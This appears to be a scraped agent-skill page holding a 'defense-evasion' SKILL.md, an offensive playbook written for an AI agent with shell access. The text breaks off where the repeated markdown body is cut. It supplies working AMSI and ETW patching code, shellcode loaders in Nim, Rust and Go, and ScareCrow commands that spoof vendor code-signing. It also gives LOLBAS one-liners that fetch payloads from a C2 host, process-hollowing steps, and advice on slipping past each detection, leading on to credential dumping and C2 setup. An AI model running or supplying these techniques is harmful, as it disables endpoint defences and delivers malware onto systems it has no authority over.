[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797PFH55Q5HG8TAFC62D0YY":3,"skill-same:01M797PFH55Q5HG8TAFC62D0YY":60},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M797PFH55Q5HG8TAFC62D0YY","defense-evasion",null,"Endpoint defense bypass — AMSI\u002FETW patching, ScareCrow framework, custom loaders, direct\u002Findirect syscalls, LOLBAS execution, process injection.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fshared\u002Fdefense-evasion\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: defense-evasion\ndescription: \"Endpoint defense bypass — AMSI\u002FETW patching, ScareCrow framework, custom loaders, direct\u002Findirect syscalls, LOLBAS execution, process injection.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: defense-evasion\n  when_to_use: \"AMSI bypass, ETW patch, EDR evasion, ScareCrow, custom loader, syscall, LOLBAS, process injection, defense evasion, AV bypass\"\n  tags: amsi, etw, edr, scarecrow, loader, syscall, lolbas, injection, evasion\n  mitre_attack: T1562, T1027, T1055, T1218, T1036, T1140\n---\n\n# Defense Evasion Knowledge Base\n\nDefense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.\n\n## Quick Reference\n\n| Task | Technique | Risk Level |\n|------|-----------|------------|\n| Disable AMSI | Memory patch `AmsiScanBuffer` | Medium |\n| Disable AMSI (stealthier) | Hardware breakpoint on `AmsiScanBuffer` | Low |\n| Disable ETW | Patch `EtwEventWrite` | Medium |\n| Unhook EDR DLLs | ScareCrow \u002F manual ntdll reload | High |\n| Generate evasive payload | ScareCrow with AES encryption | Medium |\n| Execute via LOLBAS | mshta, certutil, rundll32, regsvr32 | Varies |\n| Process injection | Process hollowing, early bird | High |\n| Custom loader | Nim\u002FRust\u002FGo shellcode runner | Low-Medium |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Evasion Relevance |\n|-------------|------|-------------------|\n| T1562 | Impair Defenses | AMSI\u002FETW patching, disabling logging |\n| T1027 | Obfuscated Files or Information | AES-encrypted shellcode, encoding |\n| T1055 | Process Injection | Hollowing, APC injection, thread hijack |\n| T1218 | System Binary Proxy Execution | LOLBAS (mshta, rundll32, regsvr32) |\n| T1036 | Masquerading | Spoofed code signing, renamed binaries |\n| T1140 | Deobfuscate\u002FDecode Files | Runtime decryption of payloads |\n\n## 1. AMSI Bypass Techniques\n\n### Memory Patching (AmsiScanBuffer)\n```powershell\n# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN\n# This patches the first bytes of AmsiScanBuffer with a return instruction\n\n$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)\n$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')\n$field = $amsi.GetField('amsiContext', 'NonPublic,Static')\n$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))\n\n# Get AmsiScanBuffer address\n$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()\n$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary(\"amsi.dll\"), \"AmsiScanBuffer\")\n\n# Change memory protection, write patch, restore protection\n[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)\n[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)\n```\n\n### Hardware Breakpoint Method (Stealthier)\n```csharp\n\u002F\u002F Set hardware breakpoint on AmsiScanBuffer\n\u002F\u002F When hit, modify return value via exception handler\n\u002F\u002F Does NOT modify memory — avoids integrity checks\n\n\u002F\u002F 1. Register Vectored Exception Handler (VEH)\n\u002F\u002F 2. Set DR0 = address of AmsiScanBuffer\n\u002F\u002F 3. Set DR7 to enable breakpoint on execution\n\u002F\u002F 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function\n\u002F\u002F 5. Continue execution\n\n\u002F\u002F Advantage: No memory patches detectable by EDR memory scanning\n\u002F\u002F Disadvantage: DR registers are per-thread, must set for each thread\n```\n\n### Reflection Method\n```powershell\n# Use reflection to set amsiInitFailed = true\n# Prevents AMSI initialization in the current process\n\n[Ref].Assembly.GetType(\n    'System.Management.Automation.AmsiUtils'\n).GetField(\n    'amsiInitFailed',\n    'NonPublic,Static'\n).SetValue($null, $true)\n```\n\n### AMSI Bypass OPSEC Notes\n| Method | Detectable By | OPSEC Rating |\n|--------|--------------|--------------|\n| Memory patch | EDR memory scanning, Integrity checks | Medium |\n| Hardware breakpoint | Thread context inspection (rare) | High |\n| Reflection (amsiInitFailed) | Script block logging, known signature | Low |\n| Forcing AMSI error | Process monitor, event correlation | Medium |\n\n## 2. ETW Patching\n\n### Patching EtwEventWrite\n```csharp\n\u002F\u002F Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)\n\u002F\u002F This disables Event Tracing for Windows in the current process\n\u002F\u002F Prevents .NET assembly loading events, PowerShell logging, etc.\n\nIntPtr etwAddr = GetProcAddress(\n    GetModuleHandle(\"ntdll.dll\"),\n    \"EtwEventWrite\"\n);\n\n\u002F\u002F Write 'ret' instruction (0xC3) at function entry\nuint oldProtect;\nVirtualProtect(etwAddr, 1, 0x40, out oldProtect);\nMarshal.WriteByte(etwAddr, 0xC3);\nVirtualProtect(etwAddr, 1, oldProtect, out oldProtect);\n```\n\n### What ETW Patching Disables\n- .NET assembly load events (used by EDR to detect execute-assembly)\n- PowerShell ScriptBlock logging\n- Process creation events via ETW providers\n- Network connection telemetry from userland\n\n### ETW OPSEC Notes\n- Patch BEFORE loading any tools or assemblies\n- Some EDRs monitor `EtwEventWrite` integrity --- pair with unhooking\n- Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches\n- Consider patching `NtTraceEvent` as well for deeper coverage\n\n## 3. ScareCrow Framework\n\n### Overview\nScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates.\n\n### Basic Payload Generation\n```bash\n# Generate EDR-evasive loader with AES-encrypted shellcode\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader binary \\\n    -domain microsoft.com \\\n    -encryptionmode AES \\\n    -o implants\u002Fevasive_payload.exe\n\n# DLL output (for sideloading)\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader dll \\\n    -domain microsoft.com \\\n    -encryptionmode AES \\\n    -o implants\u002Fevasive_payload.dll\n\n# Control process for injection\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader binary \\\n    -domain microsoft.com \\\n    -injection \"C:\\\\Windows\\\\System32\\\\notepad.exe\" \\\n    -encryptionmode AES \\\n    -o implants\u002Finjected_payload.exe\n```\n\n### ScareCrow Features\n| Feature | Flag | Description |\n|---------|------|-------------|\n| EDR unhooking | (default) | Loads clean ntdll.dll from disk, replaces hooked copy |\n| AES encryption | `-encryptionmode AES` | Encrypts shellcode, decrypts at runtime |\n| Code signing spoof | `-domain microsoft.com` | Spoofs authenticode signature from specified domain |\n| Process injection | `-injection \u003Cpath>` | Injects into specified sacrificial process |\n| DLL loader | `-Loader dll` | Output as DLL for sideloading scenarios |\n| Console hiding | `-console` | Hides console window on execution |\n| Sandbox evasion | `-sandbox` | Adds anti-sandbox checks (sleep, mouse, CPU) |\n\n### Code Signing Spoofing\n```bash\n# Spoof Microsoft code signing cert\nScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe\n\n# Spoof any vendor\nScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe\n\n# How it works:\n# 1. Fetches the real SSL certificate from the target domain\n# 2. Creates a self-signed certificate using the same subject\u002Fissuer fields\n# 3. Signs the binary with this spoofed certificate\n# 4. Many EDRs only check if a cert is present, not full chain validation\n```\n\n## 4. Custom Loaders\n\nAll loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread.\n\n### Nim Shellcode Loader\n```nim\n# Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim\nimport winim\u002Flean\n\nconst encShellcode: array[N, byte] = [ # \u003CENCRYPTED_SHELLCODE_BYTES> ]\nconst key: array[16, byte] = [ # \u003CKEY_BYTES> ]\n\nproc main() =\n    var shellcode = newSeq[byte](encShellcode.len)\n    for i in 0..\u003CencShellcode.len:\n        shellcode[i] = encShellcode[i] xor key[i mod key.len]\n    let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)\n    copyMem(mem, unsafeAddr shellcode[0], shellcode.len)\n    var oldProtect: DWORD\n    VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect)\n    WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE)\nmain()\n```\n\n### Rust Shellcode Loader\n```rust\n\u002F\u002F Build: cargo build --release --target x86_64-pc-windows-gnu\n#![windows_subsystem = \"windows\"]\nuse std::ptr;\nuse windows_sys::Win32::System::Memory::*;\nuse windows_sys::Win32::System::Threading::*;\n\nconst ENC_SC: &[u8] = &[ \u002F* \u003CENCRYPTED_SHELLCODE_BYTES> *\u002F ];\nconst KEY: &[u8] = &[ \u002F* \u003CKEY_BYTES> *\u002F ];\n\nfn main() {\n    let sc: Vec\u003Cu8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect();\n    unsafe {\n        let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());\n        let mut op: u32 = 0;\n        VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op);\n        WaitForSingleObject(\n            CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()),\n            0xFFFFFFFF);\n    }\n}\n```\n\n### Go Shellcode Loader\n```go\n\u002F\u002F Build: GOOS=windows GOARCH=amd64 go build -ldflags=\"-s -w -H windowsgui\" go_loader.go\npackage main\nimport (\"syscall\"; \"unsafe\")\n\nvar encSC = []byte{ \u002F* \u003CENCRYPTED_SHELLCODE_BYTES> *\u002F }\nvar key = []byte{ \u002F* \u003CKEY_BYTES> *\u002F }\n\nfunc main() {\n    sc := make([]byte, len(encSC))\n    for i := range encSC { sc[i] = encSC[i] ^ key[i%len(key)] }\n    k32 := syscall.MustLoadDLL(\"kernel32.dll\")\n    addr, _, _ := k32.MustFindProc(\"VirtualAlloc\").Call(0, uintptr(len(sc)), 0x3000, 0x40)\n    syscall.MustLoadDLL(\"ntdll.dll\").MustFindProc(\"RtlCopyMemory\").Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))\n    t, _, _ := k32.MustFindProc(\"CreateThread\").Call(0, 0, addr, 0, 0, 0)\n    k32.MustFindProc(\"WaitForSingleObject\").Call(t, 0xFFFFFFFF)\n}\n```\n\n### Loader OPSEC Comparison\n| Language | Binary Size | AV Detection Rate | Notes |\n|----------|-------------|-------------------|-------|\n| Nim | ~50-100 KB | Low | Small, good Win API bindings |\n| Rust | ~150-300 KB | Low | Strong type safety, no runtime |\n| Go | ~2-5 MB | Low-Medium | Larger binary, distinct import table |\n| C\u002FC++ | ~10-50 KB | Medium | Well-known patterns, heavily signatured |\n| C# | ~10-30 KB | High | .NET metadata, AMSI applies |\n\n## 5. Direct & Indirect Syscalls\n\n### Concept\nSyscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling `NtAllocateVirtualMemory` through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN).\n\n### Direct Syscalls\n```\nNormal API Call Flow (hooked by EDR):\n  Code → kernel32.dll → ntdll.dll [HOOKED] → syscall\n\nDirect Syscall Flow (bypasses hooks):\n  Code → syscall instruction (SSN resolved at runtime)\n```\n\n### Indirect Syscalls\n```\nIndirect Syscall Flow (stealthier):\n  Code → jump to 'syscall' instruction inside ntdll.dll\n  (Return address points to ntdll.dll, not our code)\n\nAdvantage: Call stack looks legitimate to EDR stack inspection\n```\n\n### SSN Resolution Methods\n| Method | Description | OPSEC |\n|--------|-------------|-------|\n| Hardcoded | SSNs baked into binary (version-specific) | Brittle, easy to detect |\n| Halo's Gate | Scan neighboring ntdll exports for unhooked SSNs | Medium |\n| Hell's Gate | Parse ntdll in memory to find SSNs | Medium |\n| Tartarus' Gate | Handle both hooked and unhooked neighbors | High |\n| FreshyCalls | Sort Zw* exports by address to derive SSNs | High |\n| SysWhispers3 | Generates syscall stubs with multiple techniques | Medium-High |\n\n### Tools\n```bash\n# SysWhispers3 — generate syscall stubs\npython3 syswhispers.py --preset common -o syscalls\u002F\n\n# Output: syscalls.h, syscalls.c, syscalls-asm.x64.asm\n# Integrate into C\u002FC++ loader project\n```\n\n## 6. LOLBAS (Living Off the Land Binaries and Scripts)\n\n### mshta.exe (T1218.005)\n```bash\n# Execute HTA payload\nmshta.exe http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.hta\n\n# Inline VBScript execution\nmshta.exe vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -ep bypass -f \\\\\u003CC2>\\share\\payload.ps1\"\", 0:close\")\n\n# OPSEC: mshta.exe spawning child processes is heavily monitored\n```\n\n### certutil.exe (T1140)\n```bash\n# Download file (encoded transfer)\ncertutil.exe -urlcache -split -f http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.exe C:\\Windows\\Temp\\payload.exe\n\n# Base64 decode a payload\ncertutil.exe -decode C:\\Windows\\Temp\\encoded.b64 C:\\Windows\\Temp\\payload.exe\n\n# OPSEC: certutil network connections are high-fidelity alerts\n```\n\n### rundll32.exe (T1218.011)\n```bash\n# Execute DLL export\nrundll32.exe payload.dll,EntryPoint\n\n# Execute JavaScript\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();h=new%20ActiveXObject(\"WScript.Shell\").Run(\"calc\")\n\n# Execute via URL (DLL from SMB)\nrundll32.exe \\\\\u003CC2_HOST>\\share\\payload.dll,Start\n```\n\n### regsvr32.exe (T1218.010)\n```bash\n# Execute SCT file (Squiblydoo)\nregsvr32.exe \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.sct scrobj.dll\n\n# Local SCT execution\nregsvr32.exe \u002Fs \u002Fn \u002Fu \u002Fi:C:\\Windows\\Temp\\payload.sct scrobj.dll\n\n# OPSEC: regsvr32 loading scrobj.dll is a well-known detection signature\n```\n\n### LOLBAS OPSEC Summary\n| Binary | Detection Risk | Common Alert | Mitigation |\n|--------|---------------|--------------|------------|\n| mshta.exe | High | Child process spawn, network conn | Use only if no alternative |\n| certutil.exe | Very High | `-urlcache` flag, network download | Prefer BITSAdmin or PowerShell |\n| rundll32.exe | Medium | Unusual DLL paths, network loads | Use legitimate-looking DLL paths |\n| regsvr32.exe | High | scrobj.dll load, network SCT fetch | Prefer local execution |\n\n## 7. Process Injection\n\n### Process Hollowing (T1055.012)\n```\nProcess Hollowing Steps:\n1. Create target process in SUSPENDED state\n   CreateProcessW(\"svchost.exe\", ..., CREATE_SUSPENDED)\n\n2. Unmap the original executable image\n   NtUnmapViewOfSection(hProcess, pImageBase)\n\n3. Allocate memory at the original base address\n   VirtualAllocEx(hProcess, pImageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)\n\n4. Write malicious PE image into allocated memory\n   WriteProcessMemory(hProcess, pImageBase, maliciousPE, imageSize)\n\n5. Update thread context to point to new entry point\n   SetThreadContext(hThread, &context)\n\n6. Resume the suspended thread\n   ResumeThread(hThread)\n```\n\n### Common Injection Targets\n| Process | Legitimacy | Risk |\n|---------|-----------|------|\n| svchost.exe | Runs many instances normally | Low (if correct parent) |\n| RuntimeBroker.exe | Common in user sessions | Low |\n| explorer.exe | Always running | Medium (single instance) |\n| notepad.exe | Spawned on demand | Medium (must justify spawn) |\n| dllhost.exe | COM surrogate, common | Low |\n\n### Injection OPSEC\n- **Parent-child relationship**: svchost.exe must have services.exe as parent\n- **Memory permissions**: Avoid RWX; use RW for write, then change to RX\n- **Unbacked memory**: EDRs flag executable memory not backed by a file on disk\n- **Thread creation**: `CreateRemoteThread` is heavily monitored; prefer APC injection\n- **Call stack**: Must look legitimate; use indirect syscalls for API calls\n\n## 8. Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| ScareCrow | EDR evasion payload generator | `https:\u002F\u002Fgithub.com\u002Foptiv\u002FScareCrow` |\n| SysWhispers3 | Syscall stub generator | `https:\u002F\u002Fgithub.com\u002FklezVirus\u002FSysWhispers3` |\n| Nimcrypt2 | Nim-based packer\u002Floader | `https:\u002F\u002Fgithub.com\u002Ficyguider\u002FNimcrypt2` |\n| Freeze | Payload creation with suspend\u002Finject | `https:\u002F\u002Fgithub.com\u002Foptiv\u002FFreeze` |\n| donut | PE\u002FDLL\u002FVBS\u002FJS to position-independent shellcode | `https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut` |\n| LOLBAS Project | LOLBAS reference database | `https:\u002F\u002Flolbas-project.github.io\u002F` |\n| InlineWhispers | BOF-compatible syscall stubs | `https:\u002F\u002Fgithub.com\u002Foutflanknl\u002FInlineWhispers` |\n| SharpUnhooker | C# EDR unhooking utility | Community tool |\n\n## 9. Detection Signatures\n\n| Indicator | Signature \u002F Pattern | OPSEC Note |\n|-----------|-------------------|------------|\n| AMSI patch detection | Integrity check on `AmsiScanBuffer` first bytes | Use hardware breakpoint method instead |\n| ETW patch detection | `EtwEventWrite` starts with `0xC3` (ret) | Patch after EDR init, or use syscall-level patch |\n| Memory scan (RWX) | VirtualAlloc with PAGE_EXECUTE_READWRITE | Allocate RW, copy, then VirtualProtect to RX |\n| Unbacked executable memory | Executable pages not mapped to a file | Use module stomping or DLL hollowing |\n| Suspicious parent-child | mshta\u002Fcertutil\u002Frundll32 spawning cmd\u002Fpowershell | Match expected process trees |\n| Code signing mismatch | Certificate subject does not match binary metadata | Align PE metadata with spoofed cert |\n| Shellcode entropy | High entropy sections in PE or memory | Add low-entropy padding, use encoding layers |\n| .NET assembly loading | ETW Assembly.Load events from unusual processes | Patch ETW before loading, or use BOFs |\n| Syscall from non-ntdll | `syscall` instruction outside ntdll address range | Use indirect syscalls (jmp to ntdll gadget) |\n| Thread start address | Thread entry point in unbacked memory region | Use callback-based execution (timers, APCs) |\n\n## 10. Decision Gate\n\n### Defense Evasion Complete --- Next Steps\n\n```\nDefenses Bypassed (AV\u002FEDR\u002FAMSI\u002FETW neutralized)\n│\n├──→ Execution\n│    - Run payload\u002Fimplant on target\n│    - Execute post-exploitation tooling\n│    - Load C2 agent in memory\n│\n├──→ Persistence\n│    - Scheduled tasks with evasive payloads\n│    - Registry-based persistence (Run keys)\n│    - DLL sideloading in legitimate app directories\n│    - COM object hijacking\n│\n├──→ Credential Access\n│    - LSASS dump (with EDR bypassed)\n│    - SAM extraction\n│    - Kerberoasting \u002F AS-REP roasting\n│\n└──→ C2 Channel Establishment\n     - Deploy implant with evasion features\n     - Confirm callback through redirector\n     - Set jitter and sleep obfuscation\n```\n\n### Pre-Execution Checklist\n- [ ] AMSI bypassed in target PowerShell\u002FCLR context\n- [ ] ETW patched to prevent assembly load telemetry\n- [ ] Payload tested against target's AV\u002FEDR stack (or equivalent)\n- [ ] Custom loader compiled and signed (spoofed cert)\n- [ ] Injection target process identified and validated\n- [ ] Backup evasion technique prepared (if primary is burned)\n- [ ] OPSEC review: no test artifacts left on target\n\n## 11. Output Files\n\n```\n.\u002F\n├── implants\u002F\n│   ├── evasive_payload.exe        # ScareCrow-generated payload\n│   ├── evasive_payload.dll        # DLL variant for sideloading\n│   └── shellcode.bin              # Raw shellcode input\n├── loaders\u002F\n│   ├── nim_loader.nim             # Nim custom loader source\n│   ├── rust_loader\u002F               # Rust loader project\n│   └── go_loader.go              # Go loader source\n├── syscalls\u002F\n│   ├── syscalls.h                 # SysWhispers3 output\n│   ├── syscalls.c                 # Syscall implementations\n│   └── syscalls-asm.x64.asm       # Assembly stubs\n└── evasion_test_results.md        # AV\u002FEDR test outcomes\n```\n\n## Bundled Resources\n\n### References\n- `references\u002Famsi-bypass-techniques.md` — AMSI architecture, memory patching (AmsiScanBuffer), hardware breakpoints, reflection bypasses, ETW patching, detection vectors, layered bypass approach. Read when selecting AMSI\u002FETW bypass technique for target environment.\n","# Defense Evasion Knowledge Base\n\nDefense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.\n\n## Quick Reference\n\n| Task | Technique | Risk Level |\n|------|-----------|------------|\n| Disable AMSI | Memory patch `AmsiScanBuffer` | Medium |\n| Disable AMSI (stealthier) | Hardware breakpoint on `AmsiScanBuffer` | Low |\n| Disable ETW | Patch `EtwEventWrite` | Medium |\n| Unhook EDR DLLs | ScareCrow \u002F manual ntdll reload | High |\n| Generate evasive payload | ScareCrow with AES encryption | Medium |\n| Execute via LOLBAS | mshta, certutil, rundll32, regsvr32 | Varies |\n| Process injection | Process hollowing, early bird | High |\n| Custom loader | Nim\u002FRust\u002FGo shellcode runner | Low-Medium |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Evasion Relevance |\n|-------------|------|-------------------|\n| T1562 | Impair Defenses | AMSI\u002FETW patching, disabling logging |\n| T1027 | Obfuscated Files or Information | AES-encrypted shellcode, encoding |\n| T1055 | Process Injection | Hollowing, APC injection, thread hijack |\n| T1218 | System Binary Proxy Execution | LOLBAS (mshta, rundll32, regsvr32) |\n| T1036 | Masquerading | Spoofed code signing, renamed binaries |\n| T1140 | Deobfuscate\u002FDecode Files | Runtime decryption of payloads |\n\n## 1. AMSI Bypass Techniques\n\n### Memory Patching (AmsiScanBuffer)\n```powershell\n# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN\n# This patches the first bytes of AmsiScanBuffer with a return instruction\n\n$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)\n$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')\n$field = $amsi.GetField('amsiContext', 'NonPublic,Static')\n$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))\n\n# Get AmsiScanBuffer address\n$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()\n$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary(\"amsi.dll\"), \"AmsiScanBuffer\")\n\n# Change memory protection, write patch, restore protection\n[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)\n[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)\n```\n\n### Hardware Breakpoint Method (Stealthier)\n```csharp\n\u002F\u002F Set hardware breakpoint on AmsiScanBuffer\n\u002F\u002F When hit, modify return value via exception handler\n\u002F\u002F Does NOT modify memory — avoids integrity checks\n\n\u002F\u002F 1. Register Vectored Exception Handler (VEH)\n\u002F\u002F 2. Set DR0 = address of AmsiScanBuffer\n\u002F\u002F 3. Set DR7 to enable breakpoint on execution\n\u002F\u002F 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function\n\u002F\u002F 5. Continue execution\n\n\u002F\u002F Advantage: No memory patches detectable by EDR memory scanning\n\u002F\u002F Disadvantage: DR registers are per-thread, must set for each thread\n```\n\n### Reflection Method\n```powershell\n# Use reflection to set amsiInitFailed = true\n# Prevents AMSI initialization in the current process\n\n[Ref].Assembly.GetType(\n    'System.Management.Automation.AmsiUtils'\n).GetField(\n    'amsiInitFailed',\n    'NonPublic,Static'\n).SetValue($null, $true)\n```\n\n### AMSI Bypass OPSEC Notes\n| Method | Detectable By | OPSEC Rating |\n|--------|--------------|--------------|\n| Memory patch | EDR memory scanning, Integrity checks | Medium |\n| Hardware breakpoint | Thread context inspection (rare) | High |\n| Reflection (amsiInitFailed) | Script block logging, known signature | Low |\n| Forcing AMSI error | Process monitor, event correlation | Medium |\n\n## 2. ETW Patching\n\n### Patching EtwEventWrite\n```csharp\n\u002F\u002F Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)\n\u002F\u002F This disables Event Tracing for Windows in the current process\n\u002F\u002F Prevents .NET assembly loading events, PowerShell logging, etc.\n\nIntPtr etwAddr = GetProcAddress(\n    GetModuleHandle(\"ntdll.dll\"),\n    \"EtwEventWrite\"\n);\n\n\u002F\u002F Write 'ret' instruction (0xC3) at function entry\nuint oldProtect;\nVirtualProtect(etwAddr, 1, 0x40, out oldProtect);\nMarshal.WriteByte(etwAddr, 0xC3);\nVirtualProtect(etwAddr, 1, oldProtect, out oldProtect);\n```\n\n### What ETW Patching Disables\n- .NET assembly load events (used by EDR to detect execute-assembly)\n- PowerShell ScriptBlock logging\n- Process creation events via ETW providers\n- Network connection telemetry from userland\n\n### ETW OPSEC Notes\n- Patch BEFORE loading any tools or assemblies\n- Some EDRs monitor `EtwEventWrite` integrity --- pair with unhooking\n- Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches\n- Consider patching `NtTraceEvent` as well for deeper coverage\n\n## 3. ScareCrow Framework\n\n### Overview\nScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates.\n\n### Basic Payload Generation\n```bash\n# Generate EDR-evasive loader with AES-encrypted shellcode\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader binary \\\n    -domain microsoft.com \\\n    -encryptionmode AES \\\n    -o implants\u002Fevasive_payload.exe\n\n# DLL output (for sideloading)\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader dll \\\n    -domain microsoft.com \\\n    -encryptionmode AES \\\n    -o implants\u002Fevasive_payload.dll\n\n# Control process for injection\nScareCrow -I implants\u002Fshellcode.bin \\\n    -Loader binary \\\n    -domain microsoft.com \\\n    -injection \"C:\\\\Windows\\\\System32\\\\notepad.exe\" \\\n    -encryptionmode AES \\\n    -o implants\u002Finjected_payload.exe\n```\n\n### ScareCrow Features\n| Feature | Flag | Description |\n|---------|------|-------------|\n| EDR unhooking | (default) | Loads clean ntdll.dll from disk, replaces hooked copy |\n| AES encryption | `-encryptionmode AES` | Encrypts shellcode, decrypts at runtime |\n| Code signing spoof | `-domain microsoft.com` | Spoofs authenticode signature from specified domain |\n| Process injection | `-injection \u003Cpath>` | Injects into specified sacrificial process |\n| DLL loader | `-Loader dll` | Output as DLL for sideloading scenarios |\n| Console hiding | `-console` | Hides console window on execution |\n| Sandbox evasion | `-sandbox` | Adds anti-sandbox checks (sleep, mouse, CPU) |\n\n### Code Signing Spoofing\n```bash\n# Spoof Microsoft code signing cert\nScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe\n\n# Spoof any vendor\nScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe\n\n# How it works:\n# 1. Fetches the real SSL certificate from the target domain\n# 2. Creates a self-signed certificate using the same subject\u002Fissuer fields\n# 3. Signs the binary with this spoofed certificate\n# 4. Many EDRs only check if a cert is present, not full chain validation\n```\n\n## 4. Custom Loaders\n\nAll loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread.\n\n### Nim Shellcode Loader\n```nim\n# Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim\nimport winim\u002Flean\n\nconst encShellcode: array[N, byte] = [ # \u003CENCRYPTED_SHELLCODE_BYTES> ]\nconst key: array[16, byte] = [ # \u003CKEY_BYTES> ]\n\nproc main() =\n    var shellcode = newSeq[byte](encShellcode.len)\n    for i in 0..\u003CencShellcode.len:\n        shellcode[i] = encShellcode[i] xor key[i mod key.len]\n    let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)\n    copyMem(mem, unsafeAddr shellcode[0], shellcode.len)\n    var oldProtect: DWORD\n    VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect)\n    WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE)\nmain()\n```\n\n### Rust Shellcode Loader\n```rust\n\u002F\u002F Build: cargo build --release --target x86_64-pc-windows-gnu\n#![windows_subsystem = \"windows\"]\nuse std::ptr;\nuse windows_sys::Win32::System::Memory::*;\nuse windows_sys::Win32::System::Threading::*;\n\nconst ENC_SC: &[u8] = &[ \u002F* \u003CENCRYPTED_SHELLCODE_BYTES> *\u002F ];\nconst KEY: &[u8] = 